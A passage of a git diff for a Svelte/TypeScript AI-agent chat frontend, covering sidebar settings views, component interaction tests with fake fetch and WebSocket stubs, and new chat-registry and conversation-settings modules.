- history / manual-warm feedback can't bleed across tabs. -->
- {#key store.activeConversationId}
- <CacheWarmingView
- spec={store.surface(CACHE_WARMING_ID)}
- canWarm={store.activeConversationId !== null}
- onInvoke={handleInvoke}
- {warmNow}
- />
- {/key}
- {:else if kind === "tasks"}
- <!-- Re-mount per conversation so the task list is isolated per conversation.
- TodoList always reserves its fixed 60vh height (empty or full). -->
- {#key store.activeConversationId}
- <TodoList payload={todoData} />
- {/key}
- {:else if kind === "compaction"}
- <!-- Message compaction is per-conversation (keyed so the percent + feedback
- can't bleed across tabs). Vision (image-compaction) settings are GLOBAL,
- so they stay mounted across conversation switches (no {#key}). -->
- {#key store.currentConversationId}
- <CompactionView
- percent={store.compactPercent}
- canCompact={store.activeConversationId !== null}
- {compactNow}
- savePercent={saveCompactPercent}
- />
- {/key}
- <div class="divider my-1 text-xs text-base-content/40">Image compaction</div>
- <VisionSettingsView
- models={store.models}
- modelInfo={store.modelInfo}
- load={loadVisionSettings}
- save={saveVisionSettings}
- />
- {:else if kind === "system-prompt"}
- <!-- Global system prompt template. Opens a full-page modal editor (half
- template / half variable palette). Not conversation-scoped (no {#key}). -->
- <div class="flex flex-col gap-2">
- <p class="text-xs opacity-60">
- Edit the global system prompt template with variable placeholders. Opens a full-page editor.
- </p>
- <button
- type="button"
- class="btn btn-primary btn-sm"
- onclick={() => (systemPromptModalOpen = true)}
- >
- Open builder
- </button>
- </div>
- {:else if kind === "settings"}
- <!-- FE-local settings. Not conversation-scoped (no {#key}: the chat limit is
- global), so the field stays mounted across tab switches. -->
- <div class="flex flex-col gap-3">
- <ChatLimitField chatLimit={store.chatLimit} save={saveChatLimit} />
- </div>
- {:else if kind === "heartbeat"}
- <!-- Workspace-scoped autonomous-agent heartbeat (config + run history).
- Not conversation-scoped (no {#key}); the config + runs are per-workspace. -->
- <HeartbeatView
- models={store.models}
- loadConfig={loadHeartbeatConfig}
- saveConfig={saveHeartbeatConfig}
- loadRuns={loadHeartbeatRuns}
- stopRun={stopHeartbeatRun}
- loadVariables={loadSystemPromptVariablesPrompt}
- loadDefaultPrompt={loadSystemPromptPrompt}
- loadNextRun={loadHeartbeatNextRun}
- onOpenRun={(run) => (heartbeatRun = run)}
- />
- {:else if kind === "concurrency"}
- <!-- Per-provider concurrency limits + live status. GLOBAL (not workspace- or
- conversation-scoped), so the panel stays mounted across tab switches. -->
- <ConcurrencyView
- models={store.models}
- loadLimits={loadConcurrencyLimits}
- saveLimit={saveConcurrencyLimit}
- deleteLimit={deleteConcurrencyLimit}
- loadStatus={loadConcurrencyStatus}
- saveCooldown={saveConcurrencyCooldown}
- />
- {/if}
-{/snippet}
diff --git a/src/app/App.test.ts b/src/app/App.test.ts
index dcdcb9b..ebc8004 100644
--- a/src/app/App.test.ts
+++ b/src/app/App.test.ts
@@ -1,9 +1,12 @@
+import type { LayoutTree } from "@dispatch/layout-contract";
+import { DEFAULT_LAYOUT } from "@dispatch/layout-contract";
import type { SetCwdRequest, WsServerMessage } from "@dispatch/transport-contract";
import type { SurfaceServerMessage } from "@dispatch/ui-contract";
-import { render, screen } from "@testing-library/svelte";
+import { fireEvent, render, screen, waitFor, within } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
import { describe, expect, it, vi } from "vitest";
import type { WebSocketLike } from "../adapters/ws";
+import { overlaySidePanels } from "../features/layout";
import App from "./App.svelte";
import { createAppStore } from "./store.svelte";
@@ -57,11 +60,17 @@ function fakeSocket(): FakeSocket {
function fakeFetchImpl(): typeof fetch {
return async (input: string | URL | Request): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
- if (url.endsWith("/models")) {
- return new Response(JSON.stringify({ models: ["opencode/deepseek-v4-flash"] }), {
+ if (/\/models(\?.*)?$/.test(url)) {
+ return new Response(JSON.stringify({ models: ["opencode-1/deepseek-v4-flash"] }), {
status: 200,
});
}
+ if (url.endsWith("/layout")) {
+ // No layout provider in these tests: the plan-02 no-provider signal.
+ return new Response(JSON.stringify({ error: "No layout provider is active" }), {
+ status: 404,
+ });
+ }
if (url.includes("/conversations?status=")) {
return new Response(JSON.stringify({ conversations: [] }), { status: 200 });
}
@@ -73,7 +82,60 @@ function fakeFetchImpl(): typeof fetch {
status: 200,
});
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ if (url.endsWith("/settings/vision")) {
+ return new Response(JSON.stringify({ imageLimit: 10, compactionModel: null }), {
+ status: 200,
+ });
+ }
+ if (/\/plugins\/[^/]+\/frontend/.test(url)) {
+ // plan 03 frontend module (no fixtures declare one) — the plain 404
+ // the route returns for unknown/unloaded/frontend-less plugins.
+ return new Response(JSON.stringify({ error: "No frontend module for this plugin" }), {
+ status: 404,
+ });
+ }
+ if (/\/plugins(\?.*)?$/.test(url)) {
+ // Valid EMPTY list (plan 03): the plugin host's boot
+ // `extensions-changed`/workspace syncs read this — a shapeless
+ // fallback body would be cast to PluginListResponse and crash the
+ // diff (`list.loaded` not iterable).
+ return new Response(
+ JSON.stringify({ loaded: [], disabledWithReason: [], discovered: [], missing: [] }),
+ { status: 200 },
+ );
+ }
+ return new Response(JSON.stringify({ chunks: [], historyEpoch: 0, latestSeq: 0 }), {
+ status: 200,
+ });
+ };
+}
+
+/**
+ * A fetch whose layout provider is ACTIVE and serves the given sidebar
+ * panels (plan 02): `GET /workspaces/:id/layout` returns DEFAULT_LAYOUT with
+ * the views overlaid; `PUT` echoes the tree (200). Tests that need specific
+ * sidebar views visible drive the layout through THIS edge — the pre-seeded
+ * `dispatch.sidebar.views` localStorage is only read by the one-way §2.7
+ * migration now.
+ */
+function fakeFetchWithLayout(views: readonly string[]): typeof fetch {
+ const inner = fakeFetchImpl();
+ return async (input: string | URL | Request, init?: RequestInit): Promise<Response> => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.endsWith("/layout")) {
+ const method = init?.method ?? "GET";
+ if (method === "PUT" && typeof init?.body === "string") {
+ const body = JSON.parse(init.body) as { tree: LayoutTree };
+ return new Response(JSON.stringify({ tree: body.tree }), { status: 200 });
+ }
+ if (method === "GET") {
+ const tree = overlaySidePanels(DEFAULT_LAYOUT, views);
+ return new Response(JSON.stringify({ tree }), { status: 200 });
+ }
+ const tree = overlaySidePanels(DEFAULT_LAYOUT, views);
+ return new Response(JSON.stringify({ tree }), { status: 200 });
+ }
+ return inner(input, init);
};
}
@@ -118,6 +180,119 @@ function activeConversationId(store: ReturnType<typeof createAppStore>): string
}
describe("App component interaction tests", () => {
+ it.each([
+ "all",
+ "parent",
+ "cancel",
+ ] as const)("group close %s flows through the real store, persistence and HTTP close port", async (choice) => {
+ const ws = fakeSocket();
+ const storage = createFakeStorage();
+ const closed: string[] = [];
+ const base = fakeFetchWithLayout(["tabs"]);
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: async (input, init) => {
+ const url =
+ typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.includes("/conversations?status=")) {
+ return new Response(
+ JSON.stringify({
+ conversations: [
+ { id: "p", workspaceId: "default" },
+ { id: "c1", workspaceId: "default", tabGroupParentId: "p" },
+ { id: "c2", workspaceId: "default", tabGroupParentId: "p" },
+ { id: "g", workspaceId: "default", tabGroupParentId: "c1" },
+ { id: "solo", workspaceId: "default" },
+ { id: "other-workspace", workspaceId: "other", tabGroupParentId: "p" },
+ ].map((conversation) => ({
+ ...conversation,
+ title: conversation.id,
+ status: "idle",
+ lastActivityAt: 0,
+ })),
+ }),
+ { status: 200 },
+ );
+ }
+ if (url.endsWith("/close")) {
+ expect(init?.method).toBe("POST");
+ const id = url.split("/").at(-2) as string;
+ closed.push(id);
+ return new Response(JSON.stringify({ conversationId: id, abortedTurn: false }), {
+ status: 200,
+ });
+ }
+ return base(input, init);
+ },
+ localStorage: storage,
+ });
+ try {
+ ws.resolveOpen();
+ render(App, { props: { store, onNavigate: vi.fn() } });
+ await screen.findByRole("tablist");
+ for (const [id, parent] of [
+ ["p", null],
+ ["c1", "p"],
+ ["c2", "p"],
+ ["g", "c1"],
+ ["solo", null],
+ ] as const) {
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: id,
+ workspaceId: "default",
+ ...(parent === null ? {} : { tabGroupParentId: parent }),
+ });
+ }
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "other-workspace",
+ workspaceId: "other",
+ tabGroupParentId: "p",
+ });
+ await waitFor(() => expect(screen.getAllByRole("tab")).toHaveLength(5));
+ store.selectTab("p");
+ const parent = await waitFor(() => {
+ const tab = document.querySelector<HTMLElement>('[role="tab"][data-conversation-id="p"]');
+ expect(tab).not.toBeNull();
+ return tab;
+ });
+ if (parent === null) throw new Error("Parent tab missing");
+ await fireEvent.click(within(parent).getByRole("button", { name: "Close tab" }));
+ const dialog = screen.getByRole("dialog", { name: "Close subagents too?" });
+ expect(dialog).toHaveTextContent("3 subagent tabs");
+ expect(closed).toEqual([]);
+ await fireEvent.click(
+ within(dialog).getByRole("button", {
+ name:
+ choice === "all"
+ ? /Yes, close all 4/
+ : choice === "parent"
+ ? /No, keep them open/
+ : "Cancel",
+ }),
+ );
+ const expected = choice === "all" ? ["p", "c1", "c2", "g"] : choice === "parent" ? ["p"] : [];
+ expect(closed).toEqual(expected);
+ expect(store.tabs.map((tab) => tab.conversationId)).toEqual(
+ ["p", "c1", "c2", "g", "solo"].filter((id) => !expected.includes(id)),
+ );
+ expect(screen.queryByRole("dialog")).toBeNull();
+ if (choice !== "cancel") {
+ const persisted = JSON.parse(storage.getItem("dispatch.tabs") as string) as {
+ tabs: { conversationId: string }[];
+ };
+ expect(persisted.tabs.map((tab) => tab.conversationId)).toEqual([
+ ...["p", "c1", "c2", "g", "solo"].filter((id) => !expected.includes(id)),
+ "other-workspace",
+ ]);
+ expect(store.activeConversationId).not.toBe("p");
+ }
+ } finally {
+ store.dispose();
+ }
+ });
+
it("renders the model selector and composer in draft mode", () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -231,7 +406,7 @@ describe("App component interaction tests", () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
- fetchImpl: fakeFetchImpl(),
+ fetchImpl: fakeFetchWithLayout(["extensions"]),
localStorage: createFakeStorageWithViews(),
});
ws.resolveOpen();
@@ -295,7 +470,7 @@ describe("App component interaction tests", () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
- fetchImpl: fakeFetchImpl(),
+ fetchImpl: fakeFetchWithLayout(["extensions"]),
localStorage: createFakeStorageWithViews(),
});
ws.resolveOpen();
@@ -372,12 +547,133 @@ describe("App component interaction tests", () => {
store.dispose();
});
+ it.each([
+ "look at this",
+ "",
+ ])("queues staged images through the full UI with text %j", async (text) => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ const { container } = render(App, { props: { store, onNavigate: vi.fn() } });
+ const user = userEvent.setup();
+ const textarea = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(textarea, "start");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const conversationId = activeConversationId(store);
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId, turnId: "t1" },
+ });
+ if (text) await user.type(textarea, text);
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+ ws.sent.length = 0;
+
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+
+ expect(sentMessages(ws).filter((m: { type: string }) => m.type.startsWith("chat."))).toEqual([
+ {
+ type: "chat.queue",
+ requestId: expect.any(String),
+ conversationId,
+ workspaceId: "default",
+ text,
+ images: [{ url: "data:image/gif;base64,R0lG", mimeType: "image/gif" }],
+ },
+ ]);
+ expect(textarea).toHaveValue("");
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ store.dispose();
+ });
+
+ it("uses only the focused conversation's queue snapshot for the Flush label and POSTs stop", async () => {
+ const ws = fakeSocket();
+ const fetchImpl = vi.fn(fakeFetchImpl());
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ render(App, { props: { store, onNavigate: vi.fn() } });
+ const user = userEvent.setup();
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "start");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const firstId = activeConversationId(store);
+ const startTurn = (conversationId: string) =>
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId, turnId: `turn-${conversationId}` },
+ });
+ const pushQueue = (conversationId: string, payload: unknown) =>
+ ws.feedSurfaceMessage({
+ type: "surface",
+ conversationId,
+ spec: {
+ id: "message-queue",
+ region: "inline",
+ title: "Message queue",
+ fields: [{ kind: "custom", rendererId: "message-queue", payload }],
+ },
+ });
+ startTurn(firstId);
+ await screen.findByRole("button", { name: "Stop generation" });
+ ws.feedSurfaceMessage({
+ type: "catalog",
+ catalog: [
+ { id: "message-queue", region: "inline", title: "Message queue", scope: "conversation" },
+ ],
+ });
+ const pending = { messages: [{ id: "m1", text: "next", queuedAt: 1 }] };
+ pushQueue(firstId, pending);
+ const flush = await screen.findByRole("button", { name: "Flush" });
+ ws.sent.length = 0;
+ fetchImpl.mockClear();
+ await user.click(flush);
+ expect(fetchImpl.mock.calls.filter(([, init]) => init?.method === "POST")).toEqual([
+ [expect.stringContaining(`/conversations/${firstId}/stop`), { method: "POST" }],
+ ]);
+ expect(sentMessages(ws)).toEqual([]); // No new send, queue, or cancel operation.
+
+ store.newDraft();
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "second");
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const secondId = activeConversationId(store);
+ expect(secondId).not.toBe(firstId);
+ startTurn(secondId);
+ await screen.findByRole("button", { name: "Stop generation" });
+ pushQueue(firstId, pending); // Late old-scope update must not relabel the new conversation.
+ await vi.waitFor(() =>
+ expect(screen.getByRole("button", { name: "Stop generation" })).toBeInTheDocument(),
+ );
+ pushQueue(secondId, pending);
+ await screen.findByRole("button", { name: "Flush" });
+ pushQueue(secondId, { messages: [] });
+ await screen.findByRole("button", { name: "Stop generation" });
+ pushQueue(secondId, { messages: "malformed" });
+ await vi.waitFor(() =>
+ expect(screen.getByRole("button", { name: "Stop generation" })).toBeInTheDocument(),
+ );
+ store.dispose();
+ });
+
it("incoming chat.delta renders text in the chat transcript", async () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
fetchImpl: fakeFetchImpl(),
localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
});
ws.resolveOpen();
@@ -415,7 +711,7 @@ describe("App component interaction tests", () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
- fetchImpl: fakeFetchImpl(),
+ fetchImpl: fakeFetchWithLayout(["extensions"]),
localStorage: createFakeStorageWithViews(),
});
ws.resolveOpen();
@@ -454,19 +750,20 @@ describe("App component interaction tests", () => {
store.dispose();
});
- it("the Extensions view lists frontend modules aggregated from feature manifests", () => {
+ it("the Extensions view lists frontend modules aggregated from feature manifests", async () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
- fetchImpl: fakeFetchImpl(),
+ fetchImpl: fakeFetchWithLayout(["extensions"]),
localStorage: createFakeStorageWithViews(),
});
ws.resolveOpen();
render(App, { props: { store, onNavigate: vi.fn() } });
- // Extensions view is pre-populated in the fake storage, so the modules table renders immediately.
- expect(screen.getByRole("columnheader", { name: "Module" })).toBeInTheDocument();
+ // The Extensions view arrives with the provider's tree (an async GET —
+ // plan 02), so await the modules table rendering.
+ expect(await screen.findByRole("columnheader", { name: "Module" })).toBeInTheDocument();
for (const name of [
"chat",
"tabs",
@@ -486,8 +783,8 @@ describe("App component interaction tests", () => {
// network failure / unreachable backend on a new device).
const failingFetch = async (input: string | URL | Request): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
- if (url.endsWith("/models")) {
- return new Response(JSON.stringify({ models: ["opencode/deepseek-v4-flash"] }), {
+ if (/\/models(\?.*)?$/.test(url)) {
+ return new Response(JSON.stringify({ models: ["opencode-1/deepseek-v4-flash"] }), {
status: 200,
});
}
@@ -502,7 +799,9 @@ describe("App component interaction tests", () => {
status: 200,
});
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return new Response(JSON.stringify({ chunks: [], historyEpoch: 0, latestSeq: 0 }), {
+ status: 200,
+ });
};
const ws = fakeSocket();
@@ -583,4 +882,22 @@ describe("App component interaction tests", () => {
store.dispose();
});
+
+ it("the Vision view renders the vision settings UI (image limit + compaction model)", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchWithLayout(["vision"]),
+ localStorage: createFakeStorageWithViews(["vision"]),
+ });
+ ws.resolveOpen();
+
+ render(App, { props: { store, onNavigate: vi.fn() } });
+
+ // The vision settings load (`GET /settings/vision`) seeds the inputs.
+ expect(await screen.findByLabelText(/Image limit/)).toBeInTheDocument();
+ expect(await screen.findByLabelText(/Compaction model/)).toBeInTheDocument();
+
+ store.dispose();
+ });
});
diff --git a/src/app/chat-registry.svelte.ts b/src/app/chat-registry.svelte.ts
new file mode 100644
index 0000000..63f58ad
--- /dev/null
+++ b/src/app/chat-registry.svelte.ts
@@ -0,0 +1,297 @@
+import { untrack } from "svelte";
+import { createLocalStore } from "../adapters/local-storage";
+import type { SurfaceSocketHandle } from "../adapters/ws";
+import { normalizeChatLimit } from "../core/chunks";
+import type { ChatStore, HistorySync, MetricsSync } from "../features/chat";
+import { createChatStore, createPendingInputStorage } from "../features/chat";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { TabsStore } from "../features/tabs";
+import type { ChatLimitResult, CreateAppStoreOptions } from "./store-types";
+import { liveConversationIds } from "./subscription-budget";
+import { randomId } from "./uuid";
+
+/** App-owned tab/watch stores and idempotent transcript loading; no singleton state. */
+export function createChatRegistry(deps: {
+ storage: Storage | undefined;
+ tabsStore: TabsStore;
+ createCache: () => ConversationCache;
+ historySync: HistorySync;
+ metricsSync: MetricsSync;
+ defaultModel: string;
+ activeModel: () => string;
+ activeWorkspaceId: () => string;
+ send: SurfaceSocketHandle["send"];
+ reportError: (context: string, err: unknown) => void;
+ chatFlushScheduler: CreateAppStoreOptions["chatFlushScheduler"];
+}) {
+ // The chat limit (max loaded chunks per conversation) — a persisted local
+ // setting surfaced in the sidebar's Settings view. Reactive so the field +
+ // any live-apply re-trim update together. The default is written back on
+ // first run so the knob is discoverable in localStorage too.
+ const chatLimitStore = createLocalStore<number>("dispatch.chatLimit", {
+ storage: deps.storage,
+ });
+ const storedChatLimit = chatLimitStore.load();
+ const normalizedChatLimit = normalizeChatLimit(storedChatLimit);
+ let chatLimit = $state(normalizedChatLimit);
+ if (storedChatLimit === null) {
+ chatLimitStore.save(normalizedChatLimit);
+ }
+
+ // Unload gate — attached by the shell once it owns the scroll region (see
+ // `AppStore.attachUnloadGate`). Until then, unloading is allowed.
+ let unloadGate: (() => boolean) | null = null;
+
+ const cache = deps.createCache();
+
+ const chatStores = new Map<string, ChatStore>();
+ // Includes in-flight loads: repeated activation must not start a second load.
+ const loadedConversationIds = new Set<string>();
+ const loadingConversationIds = new Set<string>();
+
+ // Ephemeral chat stores for MODAL viewers (the heartbeat run-chat modal): a
+ // watch on a conversation's live turn stream WITHOUT opening a tab. Separate
+ // from `chatStores` (tabs) so closing a modal never disturbs the tab strip,
+ // and a tab's conversation reuses its own store (see `watchConversation`).
+ // Deltas are routed here in addition to `chatStores`.
+ const watchStores = new Map<string, ChatStore>();
+ const watchedIds = new Set<string>();
+ const subscribedIds = new Set<string>();
+
+ function syncChatSubscriptions(): void {
+ const desired = liveConversationIds(deps.tabsStore.activeConversationId, watchedIds);
+ for (const id of subscribedIds) {
+ if (!desired.has(id)) {
+ deps.send({ type: "chat.unsubscribe", conversationId: id });
+ subscribedIds.delete(id);
+ }
+ }
+ for (const id of desired) {
+ if (subscribedIds.has(id)) continue;
+ subscribedIds.add(id);
+ deps.send({ type: "chat.subscribe", conversationId: id });
+ if (loadedConversationIds.has(id) && !loadingConversationIds.has(id)) {
+ (chatStores.get(id) ?? watchStores.get(id))?.resync();
+ }
+ }
+ }
+
+ /**
+ * Coalesce live chat events to at most one fold + render per animation
+ * frame (a late-join replay of a long turn arrives as a burst of WS frames;
+ * folding each separately re-derives the whole transcript per frame). A
+ * timeout backs up rAF, which browsers pause in hidden tabs — a backgrounded
+ * tab still applies its events (just less often).
+ */
+ function scheduleChatFlush(flush: () => void): void {
+ let ran = false;
+ const run = (): void => {
+ if (ran) return;
+ ran = true;
+ flush();
+ };
+ if (typeof requestAnimationFrame === "function") requestAnimationFrame(run);
+ setTimeout(run, 250);
+ }
+
+ const chatFlushScheduler =
+ deps.chatFlushScheduler === undefined ? scheduleChatFlush : deps.chatFlushScheduler;
+
+ function createChatFor(conversationId: string, model: string, workspaceId: string): ChatStore {
+ return createChatStore({
+ ...(deps.storage === undefined
+ ? {}
+ : {
+ pendingInputStorage: createPendingInputStorage(deps.storage, conversationId),
+ }),
+ conversationId,
+ createRequestId: randomId,
+ model,
+ workspaceId,
+ transport: {
+ send(msg) {
+ deps.send(msg);
+ },
+ },
+ historySync: deps.historySync,
+ metricsSync: deps.metricsSync,
+ cache,
+ // Read from the persisted store (kept in sync with the reactive `chatLimit`
+ // by `setChatLimit` + boot) so this snapshot doesn't reference the `$state`
+ // — each store captures its limit at creation; live updates go through
+ // `setChatLimit`.
+ chatLimit: normalizeChatLimit(chatLimitStore.load()),
+ canUnload: () => (unloadGate === null ? true : unloadGate()),
+ ...(chatFlushScheduler !== null ? { scheduleFlush: chatFlushScheduler } : {}),
+ onError: (context, err) => {
+ deps.reportError(`${context} (conversation: ${conversationId})`, err);
+ },
+ });
+ }
+
+ const initialDraftId = randomId();
+ // Read `activeWorkspaceId` with untrack to suppress Svelte's
+ // `state_referenced_locally` warning — this intentionally captures the
+ // INITIAL workspace for the boot draft. When the workspace changes later,
+ // `setActiveWorkspace` creates a fresh draft store with the new id.
+ let draftStore: ChatStore = createChatFor(
+ initialDraftId,
+ deps.defaultModel,
+ untrack(deps.activeWorkspaceId),
+ );
+ let draftConversationId: string = initialDraftId;
+
+ let activeChat = $state<ChatStore>(draftStore as ChatStore);
+ function getActiveChat(): ChatStore {
+ const activeId = deps.tabsStore.activeConversationId;
+ if (activeId === null) {
+ return draftStore;
+ }
+ return chatStores.get(activeId) ?? draftStore;
+ }
+
+ function ensureLoaded(conversationId: string): void {
+ if (loadedConversationIds.has(conversationId)) return;
+ const store = chatStores.get(conversationId) ?? watchStores.get(conversationId);
+ if (store === undefined) return;
+ loadedConversationIds.add(conversationId);
+ loadingConversationIds.add(conversationId);
+ void store.load().finally(() => loadingConversationIds.delete(conversationId));
+ }
+
+ function refreshActiveChat(): void {
+ syncChatSubscriptions();
+ const activeId = deps.tabsStore.activeConversationId;
+ if (activeId !== null) ensureLoaded(activeId);
+ activeChat = getActiveChat();
+ }
+
+ /** Discovery creates metadata; only the focused chat and explicit viewers watch live. */
+ function subscribeChat(conversationId: string): void {
+ void conversationId;
+ syncChatSubscriptions();
+ }
+
+ /** Stop watching a conversation's turn events (`chat.unsubscribe`). Never stops the turn. */
+ function unsubscribeChat(conversationId: string): void {
+ if (subscribedIds.delete(conversationId)) {
+ deps.send({ type: "chat.unsubscribe", conversationId });
+ }
+ }
+
+ /**
+ * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
+ * modal). Returns a live {@link ChatStore} for the conversation's turn stream.
+ * If the conversation is already an open TAB, reuses its store (it is already
+ * subscribed + streaming); otherwise creates an EPHEMERAL watch store in
+ * `watchStores` (separate from tabs — never opens a tab), subscribes to its
+ * live turn stream, and loads history. Deltas route to it via `handleChatMessage`.
+ * Pair with {@link unwatchConversation} on close.
+ */
+ function watchConversation(conversationId: string): ChatStore {
+ watchedIds.add(conversationId);
+ // An open tab already has a live store + subscription — reuse it.
+ const tabStore = chatStores.get(conversationId);
+ if (tabStore !== undefined) {
+ syncChatSubscriptions();
+ ensureLoaded(conversationId);
+ return tabStore;
+ }
+ const existing = watchStores.get(conversationId);
+ if (existing !== undefined) return existing;
+ const store = createChatFor(conversationId, deps.activeModel(), deps.activeWorkspaceId());
+ watchStores.set(conversationId, store);
+ subscribeChat(conversationId);
+ ensureLoaded(conversationId);
+ return store;
+ }
+
+ /**
+ * Dispose + unsubscribe a watch opened by {@link watchConversation}. A no-op if
+ * the conversation was (or became) an open TAB — the tab owns its store +
+ * subscription, so nothing is torn down (closing the modal must not disturb the
+ * tab strip). Only the ephemeral watch store is disposed + unsubscribed.
+ */
+ function unwatchConversation(conversationId: string): void {
+ watchedIds.delete(conversationId);
+ syncChatSubscriptions();
+ // A tab reuses its own store — leave it (and its subscription) intact.
+ if (chatStores.has(conversationId)) return;
+ const store = watchStores.get(conversationId);
+ if (store === undefined) return;
+ store.dispose();
+ watchStores.delete(conversationId);
+ loadedConversationIds.delete(conversationId);
+ unsubscribeChat(conversationId);
+ }
+
+ return {
+ cache,
+ chatStores,
+ watchStores,
+ loadedConversationIds,
+ createChatFor,
+ ensureLoaded,
+ getActiveChat,
+ refreshActiveChat,
+ subscribeChat,
+ unsubscribeChat,
+ reconnect(): void {
+ subscribedIds.clear();
+ syncChatSubscriptions();
+ },
+ watchConversation,
+ unwatchConversation,
+ get draftStore() {
+ return draftStore;
+ },
+ set draftStore(value: ChatStore) {
+ draftStore = value;
+ },
+ get draftConversationId() {
+ return draftConversationId;
+ },
+ set draftConversationId(value: string) {
+ draftConversationId = value;
+ },
+ get activeChat() {
+ return activeChat;
+ },
+ get chatLimit() {
+ return chatLimit;
+ },
+ async setChatLimit(limit: number): Promise<ChatLimitResult> {
+ const next = normalizeChatLimit(limit);
+ chatLimitStore.save(next);
+ chatLimit = next;
+ // Propagate to every live chat store. The ACTIVE one is awaited so its
+ // refill (on a raise) lands before the caller returns — letting the
+ // shell preserve scroll over the prepended older chunks. Background
+ // stores refill fire-and-forget. Future stores pick the new limit up at
+ // creation (via the persisted store).
+ const active = getActiveChat();
+ await active.setChatLimit(next);
+ for (const s of chatStores.values()) {
+ if (s !== active) void s.setChatLimit(next);
+ }
+ if (draftStore !== active) void draftStore.setChatLimit(next);
+ return { ok: true, chatLimit: next };
+ },
+ attachUnloadGate(gate: () => boolean): void {
+ unloadGate = gate;
+ },
+ dispose(): void {
+ for (const store of chatStores.values()) {
+ store.dispose();
+ }
+ chatStores.clear();
+ for (const store of watchStores.values()) {
+ store.dispose();
+ }
+ watchStores.clear();
+ loadedConversationIds.clear();
+ draftStore.dispose();
+ },
+ };
+}
+export type ChatRegistry = ReturnType<typeof createChatRegistry>;
diff --git a/src/app/conversation-settings.svelte.ts b/src/app/conversation-settings.svelte.ts
new file mode 100644
index 0000000..b853a8f
--- /dev/null
+++ b/src/app/conversation-settings.svelte.ts
@@ -0,0 +1,440 @@
+import type {
+ CompactPercentResponse,
+ ConversationComputerResponse,
+ CwdResponse,
+ LspStatusResponse,
+ McpStatusResponse,
+ ReasoningEffort,
+ ReasoningEffortResponse,
+ SetCompactPercentRequest,
+ SetConversationComputerRequest,
+ SetCwdRequest,
+ SetReasoningEffortRequest,
+ SetVisionSettingsRequest,
+} from "@dispatch/transport-contract";
+import { untrack } from "svelte";
+import type { SetThinkingRequest, ThinkingResponse } from "../features/chat/reasoning-effort";
+import {
+ normalizeVisionSettings,
+ type VisionSettings,
+ type VisionSettingsPatch,
+} from "../features/vision";
+
+import type {
+ CompactPercentResult,
+ ComputerResult,
+ CwdResult,
+ LspResult,
+ McpResult,
+ ReasoningEffortResult,
+ ThinkingResult,
+ VisionSettingsResult,
+} from "./store-types";
+
+/** Conversation settings keep their original reactive cells and response guards. */
+export function createConversationSettings(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ workspaceConversationId: () => string;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ // The active conversation's persisted working directory (per-tab). Seeded from
+ // the backend on focus change; null for a draft / when unset.
+ let cwd = $state<string | null>(null);
+ let textFileContextRevision = $state(0);
+
+ /** Refetch the workspace conversation's cwd into reactive state (works for a draft too). */
+ async function refreshCwd(): Promise<void> {
+ textFileContextRevision++;
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`);
+ if (!res.ok) return;
+ const data = (await res.json()) as CwdResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) cwd = data.cwd ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load working directory", err);
+ }
+ }
+
+ // The active conversation's persisted computer (SSH Host alias). Seeded on
+ // focus change; null = local / never set (inherits the workspace default).
+ let computerId = $state<string | null>(null);
+
+ /**
+ * Refetch the workspace conversation's persisted computer into reactive state
+ * (works for a draft too). A draft's id 404s until promoted; `res.ok` is false
+ * so it is a silent no-op (mirrors `refreshCwd` for a draft).
+ */
+ async function refreshComputer(): Promise<void> {
+ textFileContextRevision++;
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's
+ // computer while the fetch is in flight (null renders as "Local").
